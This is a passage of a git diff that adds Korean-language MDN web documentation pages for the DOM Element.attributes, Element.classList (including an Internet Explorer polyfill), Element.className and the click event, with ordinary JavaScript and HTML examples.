+<p>주어진 요소의 속성 모음(collection)을 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">var<i>attrs</i> =<i>element</i>.attributes;
+</pre>
+<p>반환하는 개체는 <code>Attr</code> 노드를 포함하는 <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-1780488922">NamedNodeMap</a> 형입니다. 요소가 지정된 속성이 없으면, 반환하는 개체는 길이가 0입니다. 이 속성은 읽기 전용입니다.</p>
+<h3 id=".EC.98.88" name=".EC.98.88">예</h3>
+<pre class="eval">// 문서에서 첫 &lt;p&gt; 요소 얻기
+var para = document.getElementsByTagName("p")[0];
+var atts = para.attributes;
+</pre>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<p>모음의 항목은 이름과 찾아보기(index)로 접근할 수 있습니다. <code>NodeList</code>와는 달리, <code>NamedNodeMap</code>은 항목을 어떤 특정 순서로 유지하지 않음을 주의하세요.</p>
+<p>여러분은 문서에서 "p1" 요소의 모든 속성값을 찍는 다음 예에서처럼 요소의 속성을 열거(enumerate)할 때 오직 찾아보기로 접근(access by index)을 써야 합니다.</p>
+<pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd"&gt;
+
+&lt;html&gt;
+
+ &lt;head&gt;
+ &lt;title&gt;Attributes example&lt;/title&gt;
+ &lt;script type="text/javascript"&gt;
+ function showFirstAttr()
+ {
+ var firstPara = document.getElementById("p1");
+ var outputText = document.getElementById("result");
+
+ // 먼저, paragraph에 어떤 속성이 있는지 검증
+ if (firstPara.hasAttributes())
+ {
+ var attrs = firstPara.attributes;
+ var text = "";
+ for(var i=attrs.length-1; i&gt;=0; i--) {
+ text += attrs[i].name + "-&gt;" + attrs[i].value;
+ }
+ outputText.value = text;
+ } else {
+ outputText.value = "No attributes to show"
+ };
+ }
+ &lt;/script&gt;
+ &lt;/head&gt;
+
+&lt;body&gt;
+ &lt;p id="p1" style="color: green;"&gt;Sample Paragraph&lt;/p&gt;
+ &lt;form action=""&gt;
+ &lt;p&gt;&lt;input type="button" value="Show first attribute name and value"
+ onclick="showFirstAttr();"&gt;
+ &lt;input id="result" type="text" value=""&gt;&lt;/p&gt;
+ &lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p><code>NamedNodeMap</code>은 배열처럼 반복될 수 있지만, <code>join</code>, <code>split</code> 등과 같은 <code>Array</code>에 있는 어떤 특수 메소드는 없습니다.</p>
+<p>이름으로 특정 속성에 접근하려면, <a href="ko/DOM/element.getAttribute">getAttribute</a> 메소드를 쓰세요.</p>
+<h3 id=".EB.AA.85.EC.84.B8" name=".EB.AA.85.EC.84.B8">명세</h3>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-84CF096">W3C DOM Level 2 Core: attributes</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-84CF096">W3C DOM Level 3 Core: attributes</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-1780488922">W3C DOM Level 3 NamedNodeMap interface</a></li>
+</ul>
+<p>{{ languages( { "en": "en/DOM/element.attributes", "fr": "fr/DOM/element.attributes", "pl": "pl/DOM/element.attributes" } ) }}</p>
diff --git a/files/ko/web/api/element/classlist/index.html b/files/ko/web/api/element/classlist/index.html
new file mode 100644
index 0000000000..49b710c2be
--- /dev/null
+++ b/files/ko/web/api/element/classlist/index.html
@@ -0,0 +1,285 @@
+---
+title: Element.classList
+slug: Web/API/Element/classList
+tags:
+ - API
+ - DOM
+ - 레퍼런스
+ - 속성
+ - 엘리먼트
+ - 읽기 전용
+translation_of: Web/API/Element/classList
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>Element.classList</strong></code>는 엘리먼트의 클래스 속성의 컬렉션인 활성 {{domxref("DOMTokenList")}}를 반환하는 읽기 전용 프로퍼티이다.</p>
+
+<p><code>classList</code> 사용은 공백으로 구분된 문자열인 {{domxref("element.className")}}을 통해 엘리먼트의 클래스 목록에 접근하는 방식을 대체하는 간편한 방법이다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox" dir="rtl">const <var>elementClasses</var> = elementNodeReference.classList;
+</pre>
+
+<p><em>elementClasses</em>는 <em>elementNodeReference</em>의 클래스 속성을 나타내는 {{domxref("DOMTokenList")}}이다. 만약 클래스 속성이 설정되어 있지 않거나 비어있다면 <em>elementClasses.length</em>는 <code>0</code>을 반환한다. <code>element.classList</code> 그 자체는 읽기 전용 프로퍼티지만 <code>add()</code>와 <code>remove()</code> 메서드를 이용하여 변형할 수 있다.</p>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt><code>add( String [, String [, ...]] )</code></dt>
+ <dd>지정한 클래스 값을 추가한다. 만약 추가하려는 클래스가 엘리먼트의 <code>class</code> 속성에 이미 존재한다면 무시한다.</dd>
+ <dt><code>remove( String [, String [, ...]] )</code></dt>
+ <dd>지정한 클래스 값을 제거한다.</dd>
+ <dd>
+ <div class="note"><strong>노트:</strong> 존재하지 않는 클래스를 제거하는 것은 <strong>에러를 발생시키지 않습니다.</strong></div>
+ </dd>
+ <dt><code><strong>item</strong>( Number )</code></dt>
+ <dd>콜렉션의 인덱스를 이용하여 클래스 값을 반환한다.</dd>
+ <dt><code><strong>toggle</strong>( String [, force] )</code></dt>
+ <dd>하나의 인수만 있을 때: 클래스 값을 토글링한다. 즉, 클래스가 존재한다면 제거하고 <code>false</code>를 반환하며, 존재하지 않으면 클래스를 추가하고 <code>true</code>를 반환한다.</dd>
+ <dd>두번째 인수가 있을 때: 두번째 인수가 <code>true</code>로 평가되면 지정한 클래스 값을 추가하고 <code>false</code>로 평가되면 제거한다.</dd>
+ <dt><code>contains( String )</code></dt>
+ <dd>지정한 클래스 값이 엘리먼트의 <code>class</code> 속성에 존재하는지 확인한다.</dd>
+ <dt><code>replace( oldClass, newClass )</code></dt>
+ <dd>존재하는 클래스를 새로운 클래스로 교체한다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>const div = document.createElement('div');
+div.className = 'foo';
+
+// our starting state: &lt;div class="foo"&gt;&lt;/div&gt;
+console.log(div.outerHTML);
+
+// use the classList API to remove and add classes
+div.classList.remove("foo");
+div.classList.add("anotherclass");
+
+// &lt;div class="anotherclass"&gt;&lt;/div&gt;
+console.log(div.outerHTML);
+
+// if visible is set remove it, otherwise add it
+div.classList.toggle("visible");
+
+// add/remove visible, depending on test conditional, i less than 10
+div.classList.toggle("visible", i &lt; 10 );
+
+console.log(div.classList.contains("foo"));
+
+// add or remove multiple classes
+div.classList.add("foo", "bar", "baz");
+div.classList.remove("foo", "bar", "baz");
+
+// add or remove multiple classes using spread syntax
+const cls = ["foo", "bar"];
+div.classList.add(...cls);
+div.classList.remove(...cls);
+
+// replace class "foo" with class "bar"
+div.classList.replace("foo", "bar");</pre>
+
+<div class="note">
+<p>파이어폭스 26 이전의 버전에서는 add/remove/toggle 메서드에서 여러 인수의 사용을 구현하지 않았다. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=814014">https://bugzilla.mozilla.org/show_bug.cgi?id=814014</a> 링크를 참조하라.</p>
+</div>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>The legacy <code><a href="https://msdn.microsoft.com/en-us/windows/ms536956(v=vs.71)">onpropertychange</a></code> event can be used to create a living <code>classList</code> mockup thanks to a <code>Element.prototype.className</code> property that fires the specified event once it is changed.</p>
+
+<p>The following polyfill for both <code>classList</code> and <code>DOMTokenList</code> ensures <strong>full</strong> compliance (coverage) for all standard methods and properties of <code>Element.prototype.classList</code> for <strong>IE10</strong>-<strong>IE11 </strong>browsers plus <em>nearly</em> compliant behavior for <strong>IE 6-9</strong>. Check it out:</p>
+
+<pre>// 1. String.prototype.trim polyfill
+if (!"".trim) String.prototype.trim = function(){ return this.replace(/^[\s]+|[\s]+$/g, ''); };
+(function(window){"use strict"; // prevent global namespace pollution
+if(!window.DOMException) (DOMException = function(reason){this.message = reason}).prototype = new Error;
+var wsRE = /[\11\12\14\15\40]/, wsIndex = 0, checkIfValidClassListEntry = function(O, V) {
+ if (V === "") throw new DOMException(
+ "Failed to execute '" + O + "' on 'DOMTokenList': The token provided must not be empty." );
+ if((wsIndex=V.search(wsRE))!==-1) throw new DOMException("Failed to execute '"+O+"' on 'DOMTokenList': " +
+ "The token provided ('"+V[wsIndex]+"') contains HTML space characters, which are not valid in tokens.");
+}
+// 2. Implement the barebones DOMTokenList livelyness polyfill
+if (typeof DOMTokenList !== "function") (function(window){
+ var document = window.document, Object = window.Object, hasOwnProp = Object.prototype.hasOwnProperty;
+ var defineProperty = Object.defineProperty, allowTokenListConstruction = 0, skipPropChange = 0;
+ function DOMTokenList(){
+ if (!allowTokenListConstruction) throw TypeError("Illegal constructor"); // internally let it through
+ }
+ DOMTokenList.prototype.toString = DOMTokenList.prototype.toLocaleString = function(){return this.value};
+ DOMTokenList.prototype.add = function(){
+ a: for(var v=0, argLen=arguments.length,val="",ele=this[" uCL"],proto=ele[" uCLp"]; v!==argLen; ++v) {
+ val = arguments[v] + "", checkIfValidClassListEntry("add", val);
+ for (var i=0, Len=proto.length, resStr=val; i !== Len; ++i)
+ if (this[i] === val) continue a; else resStr += " " + this[i];
+ this[Len] = val, proto.length += 1, proto.value = resStr;
+ }
+ skipPropChange = 1, ele.className = proto.value, skipPropChange = 0;
+ };
+ DOMTokenList.prototype.remove = function(){
+ for (var v=0, argLen=arguments.length,val="",ele=this[" uCL"],proto=ele[" uCLp"]; v !== argLen; ++v) {
+ val = arguments[v] + "", checkIfValidClassListEntry("remove", val);
+ for (var i=0, Len=proto.length, resStr="", is=0; i !== Len; ++i)
+ if(is){ this[i-1]=this[i] }else{ if(this[i] !== val){ resStr+=this[i]+" "; }else{ is=1; } }
+ if (!is) continue;
+ delete this[Len], proto.length -= 1, proto.value = resStr;
+ }
+ skipPropChange = 1, ele.className = proto.value, skipPropChange = 0;
+ };
+ window.DOMTokenList = DOMTokenList;
+ function whenPropChanges(){
+ var evt = window.event, prop = evt.propertyName;
+ if ( !skipPropChange &amp;&amp; (prop==="className" || (prop==="classList" &amp;&amp; !defineProperty)) ) {
+ var target = evt.srcElement, protoObjProto = target[" uCLp"], strval = "" + target[prop];
+ var tokens=strval.trim().split(wsRE), resTokenList=target[prop==="classList"?" uCL":"classList"];
+ var oldLen = protoObjProto.length;
+ a: for(var cI = 0, cLen = protoObjProto.length = tokens.length, sub = 0; cI !== cLen; ++cI){
+ for(var innerI=0; innerI!==cI; ++innerI) if(tokens[innerI]===tokens[cI]) {sub++; continue a;}
+ resTokenList[cI-sub] = tokens[cI];
+ }
+ for (var i=cLen-sub; i &lt; oldLen; ++i) delete resTokenList[i]; //remove trailing indexs
+ if(prop !== "classList") return;
+ skipPropChange = 1, target.classList = resTokenList, target.className = strval;
+ skipPropChange = 0, resTokenList.length = tokens.length - sub;
+ }
+ }
+ function polyfillClassList(ele){
+ if (!ele || !("innerHTML" in ele)) throw TypeError("Illegal invocation");
+ ele.detachEvent( "onpropertychange", whenPropChanges ); // prevent duplicate handler infinite loop
+ allowTokenListConstruction = 1;
+ try{ function protoObj(){} protoObj.prototype = new DOMTokenList(); }
+ finally { allowTokenListConstruction = 0 }
+ var protoObjProto = protoObj.prototype, resTokenList = new protoObj();
+ a: for(var toks=ele.className.trim().split(wsRE), cI=0, cLen=toks.length, sub=0; cI !== cLen; ++cI){
+ for (var innerI=0; innerI !== cI; ++innerI) if (toks[innerI] === toks[cI]) { sub++; continue a; }
+ this[cI-sub] = toks[cI];
+ }
+ protoObjProto.length = cLen-sub, protoObjProto.value = ele.className, protoObjProto[" uCL"] = ele;
+ if (defineProperty) { defineProperty(ele, "classList", { // IE8 &amp; IE9 allow defineProperty on the DOM
+ enumerable: 1, get: function(){return resTokenList},
+ configurable: 0, set: function(newVal){
+ skipPropChange = 1, ele.className = protoObjProto.value = (newVal += ""), skipPropChange = 0;
+ var toks = newVal.trim().split(wsRE), oldLen = protoObjProto.length;
+ a: for(var cI = 0, cLen = protoObjProto.length = toks.length, sub = 0; cI !== cLen; ++cI){
+ for(var innerI=0; innerI!==cI; ++innerI) if(toks[innerI]===toks[cI]) {sub++; continue a;}
+ resTokenList[cI-sub] = toks[cI];
+ }
+ for (var i=cLen-sub; i &lt; oldLen; ++i) delete resTokenList[i]; //remove trailing indexs
+ }
+ }); defineProperty(ele, " uCLp", { // for accessing the hidden prototype
+ enumerable: 0, configurable: 0, writeable: 0, value: protoObj.prototype
+ }); defineProperty(protoObjProto, " uCL", {
+ enumerable: 0, configurable: 0, writeable: 0, value: ele
+ }); } else { ele.classList=resTokenList, ele[" uCL"]=resTokenList, ele[" uCLp"]=protoObj.prototype; }
+ ele.attachEvent( "onpropertychange", whenPropChanges );
+ }
+ try { // Much faster &amp; cleaner version for IE8 &amp; IE9:
+ // Should work in IE8 because Element.prototype instanceof Node is true according to the specs
+ window.Object.defineProperty(window.Element.prototype, "classList", {
+ enumerable: 1, get: function(val){
+ if (!hasOwnProp.call(this, "classList")) polyfillClassList(this);
+ return this.classList;
+ },
+ configurable: 0, set: function(val){this.className = val}
+ });
+ } catch(e) { // Less performant fallback for older browsers (IE 6-8):
+ window[" uCL"] = polyfillClassList;
+ // the below code ensures polyfillClassList is applied to all current and future elements in the doc.
+ document.documentElement.firstChild.appendChild(document.createElement('style')).styleSheet.cssText=(
+ '_*{x-uCLp:expression(!this.hasOwnProperty("classList")&amp;&amp;window[" uCL"](this))}' + // IE6
+ '[class]{x-uCLp/**/:expression(!this.hasOwnProperty("classList")&amp;&amp;window[" uCL"](this))}' //IE7-8
+ );
+ }
+})(window);
+// 3. Patch in unsupported methods in DOMTokenList
+(function(DOMTokenListProto, testClass){
+ if (!DOMTokenListProto.item) DOMTokenListProto.item = function(i){
+ function NullCheck(n) {return n===void 0 ? null : n} return NullCheck(this[i]);
+ };
+ if (!DOMTokenListProto.toggle || testClass.toggle("a",0)!==false) DOMTokenListProto.toggle=function(val){
+ if (arguments.length &gt; 1) return (this[arguments[1] ? "add" : "remove"](val), !!arguments[1]);
+ var oldValue = this.value;
+ return (this.remove(oldValue), oldValue === this.value &amp;&amp; (this.add(val), true) /*|| false*/);
+ };
+ if (!DOMTokenListProto.replace || typeof testClass.replace("a", "b") !== "boolean")
+ DOMTokenListProto.replace = function(oldToken, newToken){
+ checkIfValidClassListEntry("replace", oldToken), checkIfValidClassListEntry("replace", newToken);
+ var oldValue = this.value;
+ return (this.remove(oldToken), this.value !== oldValue &amp;&amp; (this.add(newToken), true));
+ };
+ if (!DOMTokenListProto.contains) DOMTokenListProto.contains = function(value){
+ for (var i=0,Len=this.length; i !== Len; ++i) if (this[i] === value) return true;
+ return false;
+ };
+ if (!DOMTokenListProto.forEach) DOMTokenListProto.forEach = function(f){
+ if (arguments.length === 1) for (var i = 0, Len = this.length; i !== Len; ++i) f( this[i], i, this);
+ else for (var i=0,Len=this.length,tArg=arguments[1]; i !== Len; ++i) f.call(tArg, this[i], i, this);
+ };
+ if (!DOMTokenListProto.entries) DOMTokenListProto.entries = function(){
+ var nextIndex = 0, that = this;
+ return {next: function() {
+ return nextIndex&lt;that.length ? {value: [nextIndex, that[nextIndex]], done: false} : {done: true};
+ }};
+ };
+ if (!DOMTokenListProto.values) DOMTokenListProto.values = function(){
+ var nextIndex = 0, that = this;
+ return {next: function() {
+ return nextIndex&lt;that.length ? {value: that[nextIndex], done: false} : {done: true};
+ }};
+ };
+ if (!DOMTokenListProto.keys) DOMTokenListProto.keys = function(){
+ var nextIndex = 0, that = this;
+ return {next: function() {
+ return nextIndex&lt;that.length ? {value: nextIndex, done: false} : {done: true};
+ }};
+ };
+})(window.DOMTokenList.prototype, window.document.createElement("div").classList);
+})(window);
+</pre>
+
+<h3 id="Caveats">Caveats</h3>
+
+<p>The polyfill is limited in functionality. It's currently unable to polyfill out-of-document-elements (e.g. elements created by <code>document.createElement</code> before they are appended to a parent node) in IE6-7.</p>
+
+<p>However, it should work just fine in IE9. A major discrepancy between the polyfilled version of <code>classList</code> and the W3 specs is that for IE6-8, there is no way to create an immutable object (an object whose properties cannot be directly modified). In IE9, however, it is possible through extending the prototype, freezing the visible object, and overwritting native property methods. However, such actions would not work in IE6-IE8 and, in IE9, slow the performance of the entire webpage to a snail's crawl, making these modifications completely impractical for this polyfill.</p>
+
+<p>A minor note is that in IE6-7, this polyfill uses the <code>window[" uCL"]</code> property on the window object for communicating with the CSS expressions, the <code>x-uCLp</code> css property on all elements, and the <code>element[" uCL"]</code> property on all elements to allow garbage collection and boost performance. In all polyfilled browsers (IE6-9), an additional <code>element[" uCLp"]</code> property is added to element to ensure standards compliant prototyping, and a <code>DOMTokenList[" uCL"]</code>property is added to each <code>element["classList"]</code> object to ensure that the DOMTokenList is bounded to its own element.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("DOM WHATWG", "#dom-element-classlist", "Element.classList")}}</td>
+ <td>{{Spec2("DOM WHATWG")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM4", "#dom-element-classlist", "Element.classList")}}</td>
+ <td>{{Spec2("DOM4")}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Element.classList")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{domxref("element.className")}}</li>
+ <li>{{domxref("DOMTokenList")}}</li>
+</ul>
diff --git a/files/ko/web/api/element/classname/index.html b/files/ko/web/api/element/classname/index.html
new file mode 100644
index 0000000000..866678adb2
--- /dev/null
+++ b/files/ko/web/api/element/classname/index.html
@@ -0,0 +1,122 @@
+---
+title: Element.className
+slug: Web/API/Element/className
+translation_of: Web/API/Element/className
+---
+<div>{{APIRef("DOM")}}</div>
+
+<h2 id="개요">개요</h2>
+
+<p><strong>className</strong> 특정 엘리먼트의 클래스 속성의 값을 가져오거나 설정할 수 있다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><var>var cName</var> = <var>elementNodeReference</var>.className;
+<var>elementNodeReference</var>.className = <var>cName</var>;</pre>
+
+<ul>
+ <li><var>cName은 현재 요소의 클래스 혹은 공백으로 구분된 클래스들을 표현하는 문자열 변수이다.</var></li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">let elm = document.getElementById('item');
+
+if(elm.className === 'active'){
+    elm.className = 'inactive';
+} else {
+    elm.className = 'active';
+}</pre>
+
+<h2 id="Notes" name="Notes">주의</h2>
+
+<p>많은 언어에서 DOM 조작을 위해 사용되는 "class " 키워드와의 혼란을 줄이기 위하여 class 대신 className이라는 프로퍼티 명을 사용한다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세서</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM WHATWG", "#dom-element-classname", "element.className")}}</td>
+ <td>{{Spec2("DOM WHATWG")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM4", "#dom-element-classname", "element.className")}}</td>
+ <td>{{Spec2("DOM4")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM2 HTML", "html.html#ID-95362176", "element.className")}}</td>
+ <td>{{Spec2("DOM2 HTML")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="살펴보기">살펴보기</h2>
+
+<ul>
+ <li>{{domxref("element.classList")}}</li>
+</ul>
diff --git a/files/ko/web/api/element/click_event/index.html b/files/ko/web/api/element/click_event/index.html
new file mode 100644
index 0000000000..97a03f2921
--- /dev/null
+++ b/files/ko/web/api/element/click_event/index.html
@@ -0,0 +1,227 @@
+---
+title: click
+slug: Web/API/Element/click_event
+tags:
+ - API
+ - DOM
+ - Event
+ - Interface
+ - Reference
+translation_of: Web/API/Element/click_event
+---
+<div>{{APIRef}}</div>
+
+<p><strong><code>click</code></strong> 이벤트는 포인팅 디바이스 버튼(일반적으로 마우스 기본 버튼)이 하나의 요소(엘리먼트)에서 눌려지고 놓을 때 시작합니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th>Interface</th>
+ <td>{{domxref("MouseEvent")}}</td>
+ </tr>
+ <tr>
+ <th>Sync / Async</th>
+ <td>Sync</td>
+ </tr>
+ <tr>
+ <th>Bubbles</th>
+ <td>Yes</td>
+ </tr>
+ <tr>
+ <th>Cancelable</th>
+ <td>Yes</td>
+ </tr>
+ <tr>
+ <th>Target</th>
+ <td>{{domxref("Element")}}</td>
+ </tr>
+ <tr>
+ <th>Composed</th>
+ <td>Yes</td>
+ </tr>
+ <tr>
+ <th>Default Action</th>
+ <td>Varies</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="속성">속성</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Property</th>
+ <th scope="col">Type</th>
+ <th scope="col">Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>target</code> {{readonlyInline}}</td>
+ <td>{{domxref("EventTarget")}}</td>
+ <td>이벤트 타겟 (DOM 트리 내에서의 최상위 타겟).</td>
+ </tr>
+ <tr>
+ <td><code>type</code> {{readonlyInline}}</td>
+ <td>{{domxref("DOMString")}}</td>
+ <td>이벤트의 타입.</td>
+ </tr>
+ <tr>
+ <td><code>bubbles</code> {{readonlyInline}}</td>
+ <td>{{domxref("Boolean")}}</td>
+ <td>이벤트가 정상적으로 버블을 발생시키는지 여부</td>
+ </tr>
+ <tr>
+ <td><code>cancelable</code> {{readonlyInline}}</td>
+ <td>{{domxref("Boolean")}}</td>
+ <td>이벤트 취소 가능 여부</td>
+ </tr>
+ <tr>
+ <td><code>view</code> {{readonlyInline}}</td>
+ <td>{{domxref("WindowProxy")}}</td>
+ <td>{{domxref("Document.defaultView")}} (문서의 <code>window</code>)</td>
+ </tr>
+ <tr>
+ <td><code>detail</code> {{readonlyInline}}</td>
+ <td><code>long</code> (<code>float</code>)</td>
+ <td>짧은 시간 내에 발생한 연속 클릭 수로, 1씩 증가합니다.</td>
+ </tr>
+ <tr>
+ <td><code>currentTarget</code> {{readonlyInline}}</td>
+ <td>{{domxref("EventTarget")}}</td>
+ <td>이벤트 리스너가 연결된 노드.</td>
+ </tr>
+ <tr>
+ <td><code>relatedTarget</code> {{readonlyInline}}</td>
+ <td>{{domxref("EventTarget")}}</td>
+ <td><code>ouseover</code>, <code>mouseout</code>, <code>mouseenter</code>, <code>mouseleave</code> 이벤트: 이벤트에 대한 보조 타겟 (<code>mouseenter</code> 의 경우는 <code>mouseleave</code> 타겟). 그렇지 않으면 <code>null을</code> 반환합니다.</td>
+ </tr>
+ <tr>
+ <td><code>screenX</code> {{readonlyInline}}</td>
+ <td><code>long</code></td>
+ <td>글로벌(스크린) 좌표에서 마우스 포인터의 X 좌표.</td>
+ </tr>
+ <tr>
+ <td><code>screenY</code> {{readonlyInline}}</td>
+ <td><code>long</code></td>
+ <td>글로벌(스크린) 좌표에서 마우스 포인터의 Y 좌표.</td>
+ </tr>
+ <tr>
+ <td><code>clientX</code> {{readonlyInline}}</td>
+ <td><code>long</code></td>
+ <td>로컬(DOM 컨텐츠) 좌표에서 마우스 포인터의 X 좌표.</td>
+ </tr>
+ <tr>
+ <td><code>clientY</code> {{readonlyInline}}</td>
+ <td><code>long</code></td>
+ <td>로컬(DOM 컨텐츠) 좌표에서 마우스 포인터의 Y 좌표.</td>
+ </tr>
+ <tr>
+ <td><code>button</code> {{readonlyInline}}</td>
+ <td><code>unsigned short</code></td>
+ <td>마우스 이벤트가 발생했을 때 누른 버튼 번호: 왼쪽 버튼=0, 가운데 버튼=1 (있다면), 오른쪽 버튼=2. 왼손잡이용 마우스의 경우 버튼 동작을 반대로하면, 값은 오른쪽에서 왼쪽으로 읽습니다.</td>
+ </tr>
+ <tr>
+ <td><code>buttons</code> {{readonlyInline}}</td>
+ <td><code>unsigned short</code></td>
+ <td>마우스 이벤트가 발생했을 때 눌려진 버튼: 왼쪽 버튼=1, 오른쪽 버튼=2, 가운데(휠) 버튼=4, 4번째 버튼(일반적으로 브라우저의 뒤로가기 버튼)=8, 5번째 버튼 (일반적으로 앞으로가기 버튼)=16. 두개 이상의 버튼을 누르면, 값의 논리합이 반환됩니다. 예를 들어 왼쪽 버튼과 오른쪽 버튼을 누르면 3이 반환됩니다. (1 | 2). <a href="/ko/docs/Web/API/MouseEvent">보다 자세한건 여기를 참조하세요</a>.</td>
+ </tr>
+ <tr>
+ <td><code>mozPressure</code> {{readonlyInline}}</td>
+ <td><code>float</code></td>
+ <td>이벤트를 발생시킬 때 터치 또는 탭 장치에 적용되는 압력의 양; 이 값의 범위는 0.0(최소 압력)과 1.0(최대 압력) 사이 입니다.</td>
+ </tr>
+ <tr>
+ <td><code>ctrlKey</code> {{readonlyInline}}</td>
+ <td>{{domxref("Boolean")}}</td>
+ <td>이벤트가 발생했을 때 컨트롤 키가 눌러져 있으면 <code>true</code> 그렇지 않으면 <code>false</code> 를 반환합니다.</td>
+ </tr>
+ <tr>
+ <td><code>shiftKey</code> {{readonlyInline}}</td>
+ <td>{{domxref("Boolean")}}</td>
+ <td>이벤트가 발생했을 때 시프트 키가 눌러져 있으면 <code>true</code> 그렇지 않으면 <code>false</code> 를 반환합니다.</td>
+ </tr>
+ <tr>
+ <td><code>altKey</code> {{readonlyInline}}</td>
+ <td>{{domxref("Boolean")}}</td>
+ <td>이벤트가 발생했을 때 알트 키가 눌러져 있으면 <code>true</code> 그렇지 않으면 <code>false</code> 를 반환합니다.</td>
+ </tr>
+ <tr>
+ <td><code>metaKey</code> {{readonlyInline}}</td>
+ <td>{{domxref("Boolean")}}</td>
+ <td>이벤트가 발생했을 때 메타 키가 눌러져 있으면 <code>true</code> 그렇지 않으면 <code>false</code> 를 반환합니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 {{htmlelement("button")}}의 연속한 클릭 수를 표시합니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;button&gt;Click&lt;/button&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">const button = document.querySelector('button');
+
+button.addEventListener('click', event =&gt; {
+ button.innerHTML = `클릭 수: ${event.detail}`;
+});
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>빠르고 반복적인 클릭으로 카운터를 늘려보세요. 클릭 중간에 쉬면 숫자가 초기화됩니다.</p>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('UI Events', '#event-type-click')}}</td>
+ <td>{{Spec2('UI Events')}}</td>
+ <td>Specifies this event as composed.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM3 Events', '#event-type-click', 'click')}}</td>
+ <td>{{Spec2('DOM3 Events')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Events', '#Events-eventgroupings-mouseevents-h3', 'click')}}</td>
+ <td>{{Spec2('DOM2 Events')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
